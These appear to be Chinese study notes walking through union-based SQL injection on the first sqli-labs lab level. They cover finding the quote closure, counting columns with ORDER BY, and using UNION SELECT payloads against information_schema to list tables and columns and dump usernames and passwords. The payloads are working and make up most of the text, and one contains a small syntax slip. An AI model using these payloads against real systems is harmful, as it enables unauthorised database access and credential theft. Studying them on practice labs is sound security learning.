1.估算目标的数据库语法(可能性很多)
select username,password from tablex where id=' 2\ ' limit 0,1
select username,password from tablex where id=2 limit 0,1
select username,password from tablex where id=(2) limit 0,1
2.黑客需要破坏数据库语句 目的是为了知道数据库的闭合方式 一旦出现报错即破环成功
这个世界上所有的闭合方式
' " () ('x') (('x')) ("x") (("x")) (()) 没有任何闭合方式的
//第一个是反引号 键盘上1左边的那个 `
反引号是数据库认可的特殊字符 他会把之中的内容当做一个表而不是内容
原理:例子如下 table是数据库中的关键字 所以这样写即使语法正确也执行失败 是为了区分采用的反引号引库名 假如库名叫from呢?
最好数据库的库名不要取得敏感词 否则要用反引号来引起敏感词
举例: ''3'' LIMIT 0,1 '
以上是sqli-labs第一关的报错信息 说明他的语法会有id='X' 所以可以把头尾一对引号删除掉 3' 是输入进来的 故是单引号闭合的
原来的语句应该是
select username,password from tablex where id='2' limit 0,1
输入后的报错语句是: 多了一个引号 所以报错了
select username,password from tablex where id='2'' limit 0,1
\ 转义字符,把自身后面的第一个东西变成字符串
select username,password from tablex where id=' 2\' limit 0,1
select username,password from tablex where id=' 2\' limit 0,1
会导致闭合失败,从而报错,爆出闭合的内容 所以知道了闭合方式是'闭合 单引号闭合
3.查询正确说明完成闭合: 输入的2后面的引号会和前面id=的引号成对闭合 --+会注释掉后面全部的内容 也就不会报错了
select username,password from tablex where id=' 2' --+ ' limit 0,1
select username,password from tablex where id=' 2' //数据库执行的时候就是这样的结果
4.确定有多少个栏目
id=2' order by [数字] --+
select id,username,password from tablex where id=' 2' order by 10 --+ //完整语句 --+后面的内容都被注释了 就不用多管了
发现order by 3 3及以下都正常 大于3会报错 说明3就是最大的列数 说明他数据库里有3个栏目
5.显示报错位
union select 1,2,3 --+
由于前面id=2正确显示的内容已经覆盖掉内容 所以我们要让前面报错/数据库查不到前面的内容 这样我们的1,2,3就可以显示了
index.php?id=-2' union select 1,2,3 --+
本质数据库接收到的语法:
select id,username,password from tablex where id=' -2' union select 1,2,3 --+ ' limit 0,1
原理:union select 前面的内容是错误的他就会延续执行后面的内容 但是如果前面的正确,1,2,3只能被放在末尾
6.注入数据库的内容(结合数据库语句中的函数)库->表->列->字段
注意:数据库中有一个information_schema库 其中有colums和tables的表 相当于一个登记用的户口本 添加了数据库中添加的所有表和列 所有的操作
原理:只要知道数据库名 就可以通过这个information_schema数据库查到我们需要的数据的表名和列名 之后进而查询到数据
information_schema 索引数据库 系统自带的 mysql5.0+自带的 优点:查询速度更快 不过更不安全
id=-2' union select 1,database(),3 --+ 查看数据库的库名 // 库名是security
id=-2' union select 1,table_name,3 from information_schema.tables where table_schema = 'security' limit 0,1 --+ 根据库名找到表名
之后修改limit 0,1为 limit 1,1 之后为limit 2,1即可
查到表名emails,referers,uagents,users
也可以通过group_concat来直接一步到位 那就不需要写limit了
id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
也可以写成: 这样表明就不用先查了,直接用函数去查询
id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+
黑客觉得users里面的数据很有价值 接下来利用colums来查询其中的列名
id=-2' union select 1,column_name,3 from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1 --+
id=-2' union select 1,column_name,3 from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 1,1 --+
id=-2' union select 1,column_name,3 from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1 --+
发现users里有id,username,password
也可以写成: 如果不写table_schema这个限制条件 就会在整个数据库直接查table_name 这样就可能因为有表的重复而导致查询错误
id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="users" --+
黑客需要拿到所有的username和password的值 group_concat()是统一输出
id=-2' union select 1,group_concat(username),group_concat(password) from users --+
id=-2' union select 1,group_concat(username,password),3 from users --+ //这个会比较乱,可以参考下面这种
id=-2' union select 1,group_concat(username.0x3a,password),3 from users --+ //mysql可以自动解析十六进制 0x3a是冒号的十六进制 ascii码定义的
也可以选择使用一条一条的方式输出:
id=-2' union select 1,username,password from users limit 0,1 --+
id=-2' union select 1,username,password from users limit 1,1 --+
id=-2' union select 1,username,password from users limit 2,1 --+